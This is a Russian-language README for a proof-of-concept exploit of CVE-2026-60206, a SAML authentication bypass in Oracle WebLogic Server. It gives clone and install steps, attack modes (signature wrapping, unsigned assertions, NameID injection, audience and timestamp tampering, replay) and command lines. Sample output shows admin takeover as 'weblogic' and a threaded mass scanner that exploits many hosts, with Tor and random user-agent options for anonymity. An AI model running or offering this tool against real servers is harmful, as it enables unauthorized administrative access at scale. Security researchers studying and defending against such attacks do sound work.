
Технический анализ и Proof-of-Concept для CVE-2026-60206 — критической уязвимости обхода аутентификации SAML в Oracle WebLogic Server.
Этот репозиторий предоставляет proof‑of‑concept эксплойт для CVE‑2026‑60206 — критической уязвимости обхода аутентификации в реализации SAML в Oracle WebLogic Server. Уязвимость позволяет удалённому злоумышленнику с низкими привилегиями полностью скомпрометировать сервер путём подделки SAML-утверждений (assertions).
⚠️ Предупреждение: Этот инструмент предназначен только для авторизованных исследований и тестирования безопасности. Используйте его исключительно против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Авторы не несут ответственности за неправомерное использование.
CVE-2026-60206 затрагивает компонент Core в Oracle WebLogic Server. Уязвимость вызвана некорректной обработкой аутентификации в реализации протокола SAML. Множество векторов атаки — таких как XML Signature Wrapping (XSW), принятие неподписанных утверждений, манипуляция NameID и обход ограничений audience/conditions — позволяют злоумышленнику выдавать себя за произвольных пользователей (например, weblogic) и получать административный доступ.
Затронутые версии:
PoC реализует следующие векторы атаки:
WantAssertionsSigned не принудительно включён).AudienceRestriction для расширения области действия.NotBefore/NotOnOrAfter для обхода проверок срока действия.all, unsigned, xsw, nameid, audience, conditions, combo или replay.-l).-r).httpx, если он установлен, в противном случае — requests (HTTP/1.1).git clone https://github.com/Debajyoti0-0/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt
Обязательно: requests, urllib3
Опционально (расширяет функциональность):
httpx — для поддержки HTTP/2lxml — для улучшенного разбора SAMLsignxml, cryptography — для обработки подписей (не требуется для эксплуатации)python CVE-2026-60206.py -t https://192.168.1.100:7002 --detect
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode all -u weblogic
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode combo -u admin
python CVE-2026-60206.py -l targets.txt -o results.json
python CVE-2026-60206.py -l targets.txt --exploit -o results.csv --threads 20
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode replay --replay-file captured.xml
python CVE-2026-60206.py -t https://192.168.1.100:7002 --tor --check-tor
python CVE-2026-60206.py -t https://192.168.1.100:7002 -r request.txt --method POST
python CVE-2026-60206.py -t https://192.168.1.100:7002 -c
| Flag | Описание |
|---|---|
-t, --target TARGET | URL одиночной цели (например, https://host:7002). |
-l, --list LIST | Файл со списком целей для массового сканирования или одиночный URL. |
-l):| Flag | Описание |
|---|---|
--exploit | Проверять неподписанное SAML-утверждение (по умолчанию: только обнаружение). |
-T, --threads THREADS | Количество параллельных потоков (по умолчанию: 10). |
| Flag | Описание |
|---|---|
-v, --verbose | Повысить подробность вывода (отладочный вывод). |
-q, --quiet |
detectВыполняет определение версии и поиск SAML-эндпоинтов. Атака не запускается.
unsignedВнедряет полностью неподписанное SAML-утверждение. Если на цели не принудительно включён WantAssertionsSigned, это полностью обходит аутентификацию.
Варианты: unsigned (по умолчанию), unsigned_stripped (удаляет все ссылки на подпись).
xsw (XML Signature Wrapping)Помещает вредоносное неподписанное утверждение перед допустимым подписанным утверждением (или оборачивая его). Обработчик SAML может выбрать первое утверждение, в то время как проверка подписи проверяет подписанное.
Варианты: xsw1 (простое добавление в начало), xsw2 (тот же ID, что и у оригинала), xsw3 (вложенная обёртка), xsw4 (соседний элемент).
nameidМанипулирует полем NameID, чтобы запутать сопоставитель учётных записей WebLogic, позволяя выдавать себя за другого пользователя.
Варианты: comment_injection, whitespace, format_confusion, xpath_injection.
audienceОбходит проверки AudienceRestriction путём удаления или изменения элемента audience.
Варианты: remove_audience, wildcard_audience, extra_audience.
conditionsОбходит ограничения по времени (например, NotBefore, NotOnOrAfter).
Варианты: future_timestamp, expired_timestamp, remove_conditions, infinite_validity.
comboОбъединяет XSW, неподписанное утверждение и манипуляцию NameID в одном пейлоаде — наиболее вероятный вектор полной компрометации.
Варианты: combo_full (с внедрением комментария), combo_stealth (с переводом строки).
replayПовторно отправляет ранее перехваченный SAML-ответ, опционально изменяя Destination или удаляя ограничения audience.
Варианты: replay_modified (изменяет Destination/Recipient), replay_cross_sp (удаляет ограничения audience).
$ python CVE-2026-60206.py -t https://192.168.1.100:7002 -u weblogic --mode combo
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-60206 — WebLogic SAML Authentication Bypass PoC ║
║ Oracle WebLogic Server Core | CVSS 9.9 | CWE-287 ║
╚══════════════════════════════════════════════════════════════════════╝
🔍 Detecting WebLogic version and SAML configuration...
Detected WebLogic version: 12.2.1.4.0
⚠️ Version 12.2.1.4.0 is IN SCOPE for CVE-2026-60206!
Found SAML metadata: /saml2/sp/metadata
Found SAML ACS: /saml2/sp/acs (HTTP 200)
============================================================
🚀 Starting comprehensive SAML attack suite
Target: https://192.168.1.100:7002
Target User: weblogic
============================================================
── Attack 1/2 ──
🎯 [combo/combo_full] Launching combined attack for: weblogic
✅ [combo/combo_full] Authentication bypass SUCCEEDED! Logged in as: weblogic
ACS Endpoint: /saml2/sp/acs
── Attack 2/2 ──
🎯 [combo/combo_stealth] Launching combined attack for: weblogic
✅ [combo/combo_stealth] Authentication bypass SUCCEEDED! Logged in as: weblogic
ACS Endpoint: /saml2/sp/acs
============================================================
📊 Results: 2/2 attack vectors succeeded
============================================================
EXPLOIT SUCCESSFUL! 2 attack(s) bypassed authentication.
- [combo/combo_full] → logged in as 'weblogic' via /saml2/sp/acs
- [combo/combo_stealth] → logged in as 'weblogic' via /saml2/sp/acs
📄 Report saved: logs/report_20260725_123456.json
$ python CVE-2026-60206.py -l targets.txt --exploit -o scan_results.csv --threads 10
============================================================
CVE-2026-60206 Mass Scanner
Targets: 50
Threads: 10
Mode: Exploit
============================================================
[10/50] 20.0% | Vuln:3 | Pwned:1 | 1.2 tgt/s
[!] VULN: https://10.0.0.5:7002 (12.2.1.4.0)
[!!] PWNED: https://10.0.0.5:7002 - logged in as weblogic
... (continues) ...
============================================================
SCAN SUMMARY
============================================================
Total targets: 50
Reachable: 45
WebLogic: 12
Vuln version: 8
Exploited: 3
Duration: 42.5s
============================================================
[!!] SUCCESSFULLY EXPLOITED:
https://10.0.0.5:7002 → weblogic via /saml2/sp/acs
https://10.0.0.10:7002 → weblogic via /saml2/sp/acs
https://10.0.0.15:7002 → weblogic via /saml2/sp/acs
[!] VULNERABLE VERSIONS (not yet exploited):
https://10.0.0.20:7002 (14.1.1.0.0)
https://10.0.0.25:7002 (15.1.1.0.0)
... (truncated)
Для безопасного тестирования этого PoC настройте WebLogic Server со включённым SAML и одной из затронутых версий. Например, можно использовать Docker:
# Example (simplified – use official Oracle WebLogic images with SAML configuration)
docker run -p 7002:7002 container-registry.oracle.com/middleware/weblogic:12.2.1.4
# Then configure SAML via WebLogic console or scripts
Конфигурация SAML должна включать как минимум один SAML 2.0 Service Provider с эндпоинтом ACS (например, /saml2/sp/acs) и опубликованными метаданными.
Этот проект распространяется под лицензией GNU v3.0 — подробности см. в файле LICENSE.
Приветствуются issues и pull requests. Пожалуйста, убедитесь, что ваш вклад соответствует тем же этическим правилам использования.
Помните: Всегда получайте надлежащее разрешение перед тестированием любого инструмента безопасности. Оставайтесь этичными!
--save-payloads).-c / --check) — быстрое определение уязвимости цели (без эксплуатации).| Flag | Описание |
|---|
-h, --help | Показать справочное сообщение и выйти. |
--proxy PROXY | URL прокси (переопределяется --tor, если он используется). |
--no-verify | Отключить проверку SSL-сертификатов. |
--cookie COOKIE | Сессионные cookie (например, name=value; name2=value2). |
--auth AUTH | Учётные данные базовой аутентификации (USER:PASS). |
-f, --file FILE | Псевдоним для --list. |
| Flag | Описание |
|---|
-r, --requestfile REQUESTFILE | Загрузить сырой HTTP-запрос из файла (заменяет SAML-атаки). |
--method METHOD | Используемый HTTP-метод (для сырого или одиночного запроса; по умолчанию: GET). |
--random-agent | Использовать случайный User-Agent из встроенного списка. |
-A, --user-agent USER_AGENT | Собственное значение заголовка User-Agent. |
--tor | Использовать анонимную сеть Tor (SOCKS5 по умолчанию). |
--tor-port TOR_PORT | Порт прокси Tor (по умолчанию: 9050). |
--tor-type {HTTP,SOCKS4,SOCKS5} | Тип прокси Tor (по умолчанию: SOCKS5). |
--check-tor | Проверить, корректно ли используется Tor (выход с вердиктом). |
--delay DELAY | Задержка в секундах между запросами. |
--timeout TIMEOUT | Таймаут в секундах (по умолчанию: 30). |
--retries RETRIES | Количество повторов при таймауте/ошибках (по умолчанию: 3). |
--retry-on RETRY_ON | Повторить запрос, если содержимое ответа соответствует регулярному выражению (например, 'captcha'). |
-dr, --disable-redirects | Отключить переходы по HTTP-редиректам. |
| Flag | Описание |
|---|
-m, --mode {all,detect,unsigned,xsw,nameid,audience,conditions,combo,replay} | Режим атаки (по умолчанию: all). |
--detect | Только определение версии WebLogic и конфигурации SAML (без атаки). |
-c, --check | Быстрая проверка уязвимости (только обнаружение, выход с вердиктом). |
-u, --user USER | Целевой пользователь, за которого выдавать себя (по умолчанию: weblogic). |
--groups GROUPS | Группы для включения в SAML-утверждение (по умолчанию: Administrators,Monitors). |
--issuer ISSUER | Entity ID издателя (Issuer) SAML. |
--audience AUDIENCE | Entity ID аудитории (Audience) SAML. |
--relay-state RELAY_STATE | Параметр RelayState для SAML POST. |
--base64 | Кодировать SAML-ответ в Base64 при POST-запросе. |
--extra-attrs [NAME=VALUE ...] | Дополнительные атрибуты SAML (например, role=admin). |
--replay-file REPLAY_FILE | Путь к перехваченному SAML-ответу для повторной отправки. |
--save-payloads | Сохранять сгенерированные SAML-пейлоады в ./payloads/. |
--continue-on-success | Продолжать тестирование после успешной атаки. |
| Подавить несущественный вывод. |
--list-modes | Вывести список всех режимов атаки с описаниями и выйти. |
-o, --output OUTPUT | Записать отчёт в формате JSON или CSV в файл. |